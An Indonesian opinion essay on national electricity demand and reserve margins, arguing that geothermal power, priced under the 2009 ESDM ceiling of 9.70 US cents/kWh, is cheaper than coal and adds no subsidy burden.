Dari beberapa artikel yang Penulis baca, kebutuhan listrik nasional akan meningkat antara 6-10% per tahun. Dari data PLN Jawa Bali, beban puncak dari Januari sampai dengan April 2010 berkisar antara 14.000-17.000 MW (80% dari beban nasional). Apabila dihitung rata-rata sebesar 16.000 MW, maka kebutuhan listrik nasional saat ini menjadi sekitar 20.000 MW. Rata-rata margin cadangan listrik nasional saat ini adalah 20% sedangkan persentase margin yang ideal diasumsikan sebesar 35%. Dengan mempertimbangkan kehilangan listrik secara nasional rata-rata sebesar 10% (tahun 2009), maka jumlah listrik yang harus tersedia pada kuartal pertama 2010 menjadi sekitar 29.000 MW. Tingkat elektrifikasi nasional sampai dengan Oktober 2009 baru sebesar 64% (masih di bawah 50% untuk Indonesia bagian timur, sedang Jakarta hampir 100%). Target PLN adalah 80% pada tahun 2014, terutama akan tercapai dengan masuknya pengusahaan listrik oleh swasta. Bagaimana kebutuhan listrik nasional sebesar itu dapat terpenuhi? Direktur Utama PT PLN (Persero) sebelum Dahlan Iskan, Fahmi Mochtar pernah mengatakan bahwa ada 4 tantangan utama yang menjadi penghambat percepatan penyediaan energi listrik nasional yaitu keseimbangan antara supply dan demand, tarif dan subsidi, optimalisasi "fuel mix" serta keamanan penyediaan energi primer. Dari situs Berita Indonesia, April 2009, kapasitas pembangkitan pada tahun 2009 adalah sebesar 29.705 MW (Jawa-Bali 22.302 MW dan di luar Jawa-Bali sebesar 7.403 MW). Dari data ini dapat dilihat bahwa margin cadangan listrik yang kita punyai relatif kecil. Inilah salah satu penyebab mengapa masih sering terjadi shortage listrik di Jawa-Bali.



Kamojang

Sejauh mana cadangan energi nasional mampu menjawab tantangan kebutuhan listrik di atas? Menurut dokumen Departemen Energi Dan Sumber Daya Mineral, Siaran Pers Nomor 24/HUMAS DESDM/2008 pada bulan April 2008 tentang Membangun Ketahanan Energi Nasional, disebutkan bahwa pada April 2008, cadangan dan produksi energi Indonesia terdiri dari Minyak Bumi dengan sumber daya 56,6 miliar barel, cadangan 8,4 miliar barel, produksi 348 juta barel dan rasio cadangan/produksi 24 tahun. Gas bumi dengan sumber daya 334,5 TSCF, cadangan 165 TSCF, produksi 2,79 TSCF dan rasio cadangan/produksi 59 tahun. Batubara dengan sumber daya 90,5 miliar ton, cadangan 18,7 miliar ton dan produksi 201 juta ton, sedangkan rasio cadangan/produksi 93 tahun. Coal Bed Methane (CBM) dengan sumber daya 453 TSCF. Tenaga air 75,67 GW, panas bumi 27 GW, mikro hydro 0,45 GW, biomass 49,81 GW, tenaga surya 4,8 kWh/m2/day, tenaga angin 9,29 GW dan uranium 3 GW untuk 11 tahun (hanya di Kalan, Kalimantan Barat). Dari cadangan yang tersisa, bahan bakar fosil akan habis dalam waktu yang tidak terlalu lama. Dengan mengandalkan sumber energi dari fosil maka akan ada ketergantungan yang tinggi terhadap harga pasar dan kehilangan kesempatan untuk mendapatkan pendapatan/devisa dari ekspor bahan bahan bakar fosil tersebut karena pemanfaatan di dalam negeri. Panas bumi mempunyai keunikan secara alami yang tidak dipunyai oleh sebagian besar jenis energi yang lain, diantaranya adalah bahwa hasil dari panas bumi tidak dapat di-ekspor, hanya dapat dimanfaatkan di lokasi asal panas bumi tersebut dihasilkan, ramah lingkungan untuk mendukung usaha pemerintah merespon isu global warming, merupakan energi terbarukan, pengusahaannya tidak memerlukan lahan yang luas, tingkat keandalan pembangkit yang tinggi sehingga menjadi dapat alternative base-load dari PLN, bebas dari risiko kenaikan harga bahan bakar fosil, tidak tergantung dari cuaca, dan pada akhirnya dapat menggantikan sebagian dari bahan bakar fosil yang makin habis.

Pengusahaan panas bumi mempunyai keunikan dibandingkan dengan energi yang lain. Produksi dari pengusahaan hulu adalah uap panas yang sebagian besar akan dipakai untuk menggerakkan sudu-sudu pembangkit listrik. Kapasitas dan jenis pembangkit listrik dirancang dengan mempertimbangkan parameter-parameter tertentu; terutama karakteristik uap, cadangan yang tersedia di reservoir, kemampuan produksi uap per sumur, dan kondisi lokasi untuk tempat pembangkit. Hal-hal tersebut akan menentukan besarnya investasi yang akan ditanamkan. Skema pengusahaan dari hulu (produksi uap) ke hilir (produksi listrik) ini dikenal dengan skema total project. Pengusahaan dapat juga mengusahakan produksi uapnya saja, kemudian dijual ke pihak lain seperti yang terjadi di wilayah Gunung Salak, Drajat dan Lahendong. Pada saat ini investor secara umum lebih tertarik dengan skema pengembangan total project. Hal ini dapat dipahami karena dengan skema total project, pengembang dapat menjamin kepastian tidak adanya keterlambatan pemanfaatan produksi uap menjadi listrik. Namun demikian, baik skema parsial maupun total project, pengembang haruslah mendapatkan kepastian bahwa produksi uap dan listriknya dibeli dengan harga yang wajar oleh pembeli, dalam hal ini PLN. Karena PLN adalah pembeli tunggal listrik hasil pengusahaan tersebut, maka wajar apabila sebelum pengembang memutuskan suatu investasi, mulai dari mengikuti lelang wilayah panas bumi, eksplorasi dan eksploitasi, sudah harus diketahui berapa harga listrik yang akan diterima kalau berhasil memproduksi uap dan listrik. Hal ini berbeda dengan pengusahaan batubara dan migas, yang hasil produksinya dapat dijual bebas ke pasar dengan harga pasar. Karena itu dengan adanya beberapa lelang WKP yang melelangkan harga jual listrik sebagai penentu, dapat dikatakan sebagai langkah terobosan Pemerintah untuk mempercepat proses pembangunan pembangkit listrik panas bumi. Penentuan harga beli listrik ini sempat lama ditunggu oleh para pengembang, dan setelah melalui beberapa perubahan peraturan, akhirnya Pemerintah mengeluarkan Peraturan Menteri ESDM Nomor 32/2009 pada tanggal 4 Desember 2009, yang menetapkan harga patokan tertinggi pembelian tenaga listrik oleh PLN dari pembangkit listrik tenaga panas bumi sebesar 9,70 sen US$/Kwh. Harga ini sama dengan harga beli listrik yang diusulkan oleh API (Asosiasi Panas Bumi Indonesia), namun lebih tinggi dari usulan PLN yaitu sebesar 7,6 sen US$/Kwh. Usulan API dibarengi dengan rekomendasi bahwa project IRR yang menarik untuk pengembang adalah 16%, lebih tinggi dibandingkan dengan usulan PLN sebesar 12%. JICA/BKF-DEPKEU melakukan kajian harga beli listrik panas bumi dan hasilnya adalah sebesar 11,9 sen US$/Kwh. Perbandingan yang lebih lengkap dapat dilihat pada tabel di bawah ini.

Apakah besaran maksimum harga beli di atas memberikan dampak positif sehingga membuat para pengembang tertarik dan segera menanamkan investasi? Dari beberapa kesempatan dan berdasarkan uraian di beberapa media, nampaknya pengembang dapat menerima ceiling price yang dikeluarkan, namun masih menyisakan kebimbangan; diantaranya adalah apakah PLN akan membeli listrik dengan hasil lelang WKP? Bagaimana dengan key terms and conditions dari Electricity Sales Contract-nya (ESC)? PLN dalam banyak kesempatan masih meyakini bahwa harga beli listrik panas bumi seharusnya sama atau lebih rendah dari batubara. Masih menurut studi JICA (West JEC), harga beli listrik batubara berfluktuasi tergantung dari harga pasar batubara. Pada harga pasar tertentu, harga beli listrik dari batubara memang masih lebih rendah dari harga beli listrik panas bumi. Dengan memakai harga listrik panas bumi hasil studi JICA, sepanjang harga pasar batubara tidak lebih dari US$ 135 per ton, maka harga beli listrik batubara masih lebih rendah dari harga beli listrik panas bumi. Hal ini tentu menyisakan pertanyaan apakah harga batubara dapat bertahan di bawah harga tersebut dalam 30 tahun ke depan seiring dengan makin menipisnya cadangannya? Bagaimana dampaknya terhadap ketahanan dan swasembada energi nasional?

Tabel 1: Harga Pembelian PLTP dengan Kapasitas 110 MW (Base Price, sen US$/Kwh)


Tabel 2: Harga Listrik Pembangkit Batubara (PLTU) Hasil Studi JICA (West JEC)


Dengan memperhitungan keunikan panas bumi, JICA (West JEC) menyatakan bahwa totalbiaya pembangkit listrik PLTU (batubara) adalah sen 17,7 sen US$/kwh, lebih mahal sebesar 5,8 sen US$ per kwh dibandingkan dengan panas bumi. Perbedaan ini disebabkan oleh selisih efisiensi pembangkit, kesempatan mendapatkan devisa dari ekspor batubara, selisih pendapatan pajak serta biaya lingkungan yang harus dibebankan untuk pengusahaan batubara.

Apakah harga beli listrik panas bumi sebesar di atas tidak memberikan beban subsisi yang semakin besar ke Negara? Memang, banyak pihak yang mengatakan bahwa sejalan dengan pengembangan panas bumi sebagai sumber tenaga listrik, maka biaya subsidi yang akan ditanggung Negara akan meningkat. Hal ini tidak tepat. Seperti diketahui bahwa BPP (Biaya Pokok Penyediaan) PLN tahun 2009 adalah sebesar US$ 10 sen sedangkan harga tertinggi listrik panas bumi yang ditetapkan adalah US$ 9,7 sen. Sehingga harga beli listrik pada lokasi yang sama (electricity grid) panas bumi secara nasional masih lebih rendah dari BPP. Dengan berjalannya waktu dan dengan terambilnya porsi listrik dari tenaga diesel yang tergantikan oleh sumber panas bumi misalnya, maka BPP tentu akan turun sehingga harga beli listrik panas bumi tidak lagi lebih rendah dari BPP.

Dari semua uraian di atas, Penulis berpendapat bahwa pengusahaan tenaga listrik dari panas bumi merupakan salah satu solusi yang tepat; terutama untuk menambah tingkat elektrifikasi nasional, meningkatkan ketahanan Negara dan swasembada di bidang listrik karena pemanfaatan sumberdaya lokal yang secara karakteristik harus dimanfaatkan di tempat (non-exportable), mendukung penuh upaya Negara dalam menurunkan efek global warming, dan di atas semua itu, pemanfaatan sumberdaya panas bumi, secara integral, tidak memberikan beban subsidi yang lebih besar kepada Negara. Salah satu kunci sukses percepatan pengembangan sumberdaya panas bumi adalah response yang cepat dari PLN dalam pencapaian kesepakatan dengan para pengembang PLTP, baik dari sisi harga beli listrik maupun dalam kesepakatan ketentuan-ketentuan dan kondisi-kondisi yang penting dalam kontrak pembelian listrik. Dan pada akhirnya, kelengkapan dan ketersediaan peraturan-peraturan pendukung secara cepat dan akurat tentu sangat diperlukan oleh PLN dan para pengembang untuk bersama-sama memajukan bangsa dan Negara ini.

Semoga...

Catatan Tentang Penulis
Win Sukardi (Ir., M. Eng, MM, MBA, M. Hum, C.P.M.), salah satu pemerhati energi dan alumni Teknik Mesin UB-1987.